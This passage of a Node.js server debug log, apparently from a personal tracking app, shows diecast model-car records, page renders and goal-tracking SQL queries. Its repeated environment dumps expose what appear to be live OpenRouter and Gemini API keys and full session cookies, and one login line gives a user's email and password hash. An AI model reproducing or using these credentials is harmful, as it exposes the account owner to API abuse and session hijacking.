      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-24T12:02:18.267Z server-connect:router Serving templateView /house-planner
2026-02-24T12:02:18.267Z server-connect:app Executing action step identify
2026-02-24T12:02:18.267Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:18.267Z server-connect:output identity: 1
2026-02-24T12:02:18.267Z server-connect:app Executing action step restrict
2026-02-24T12:02:18.267Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:18.268Z server-connect:output restrict: undefined
2026-02-24T12:02:18.268Z server-connect:router Render template house-planner
2026-02-24T12:02:18.268Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/house-planner',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/house-planner',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"9e5f-rb6fxLzrOCM2uLCh58Oxo5CCRxI"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:02:18.494Z server-connect:router Serving templateView /
2026-02-24T12:02:18.495Z server-connect:app Executing action step identify
2026-02-24T12:02:18.495Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:18.495Z server-connect:output identity: 1
2026-02-24T12:02:18.495Z server-connect:app Executing action step restrict
2026-02-24T12:02:18.495Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:18.495Z server-connect:output restrict: undefined
2026-02-24T12:02:18.495Z server-connect:app Executing action step restrict
2026-02-24T12:02:18.495Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:18.496Z server-connect:output restrict: undefined
2026-02-24T12:02:18.496Z server-connect:router Render template layouts/main
2026-02-24T12:02:18.496Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/house-planner',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    priority: 'i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/house-planner',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"ffc5-KlItgyr7WL1EV7WULpLOd3prSSQ"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:02:27.399Z server-connect:router Serving templateView /goal
2026-02-24T12:02:27.399Z server-connect:app Executing action step identify
2026-02-24T12:02:27.399Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:27.399Z server-connect:output identity: 1
2026-02-24T12:02:27.399Z server-connect:app Executing action step restrict
2026-02-24T12:02:27.399Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:02:27.400Z server-connect:output restrict: undefined
2026-02-24T12:02:27.400Z server-connect:router Render template goal
2026-02-24T12:02:27.400Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"4491-L+ZArf6/3Js+7+oGLbqhSbEDH4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-24T12:02:27.609Z server-connect:router Serving serverConnect /api/goals/list
2026-02-24T12:02:27.610Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-24T12:02:27.610Z server-connect:app Executing action step identify
2026-02-24T12:02:27.610Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:27.610Z server-connect:output identity: 1
2026-02-24T12:02:27.610Z server-connect:app Executing action step restrict
2026-02-24T12:02:27.610Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:27.611Z server-connect:output restrict: undefined
2026-02-24T12:02:27.611Z server-connect:app Executing action step custom
2026-02-24T12:02:27.611Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-24T12:02:27.611Z server-connect:app Executing action step identify
2026-02-24T12:02:27.611Z server-connect:app options: { provider: 'security' }
2026-02-24T12:02:27.612Z server-connect:output identity: 1
2026-02-24T12:02:27.612Z server-connect:app Executing action step restrict
2026-02-24T12:02:27.612Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:02:27.612Z server-connect:output list: []
2026-02-24T12:02:27.613Z server-connect:output restrict: undefined
2026-02-24T12:02:27.613Z server-connect:app Executing action step paged
2026-02-24T12:02:27.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-24T12:02:27.614Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 0,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: -10 },
    current: 1,
    total: 0
  },
  data: []
}
2026-02-24T12:03:05.174Z server-connect:router Serving serverConnect /api/goals/manage
2026-02-24T12:03:16.363Z server-connect:router Serving templateView /
2026-02-24T12:03:16.364Z server-connect:app Executing action step identify
2026-02-24T12:03:16.364Z server-connect:app options: { provider: 'security' }
2026-02-24T12:03:16.408Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-02-24T12:03:16.409Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-24T12:03:16.460Z server-connect:output identity: 1
2026-02-24T12:03:16.460Z server-connect:app Executing action step restrict
2026-02-24T12:03:16.460Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:03:16.461Z server-connect:output restrict: undefined
2026-02-24T12:03:16.461Z server-connect:app Executing action step restrict
2026-02-24T12:03:16.461Z server-connect:app options: {
  provider: 'security',
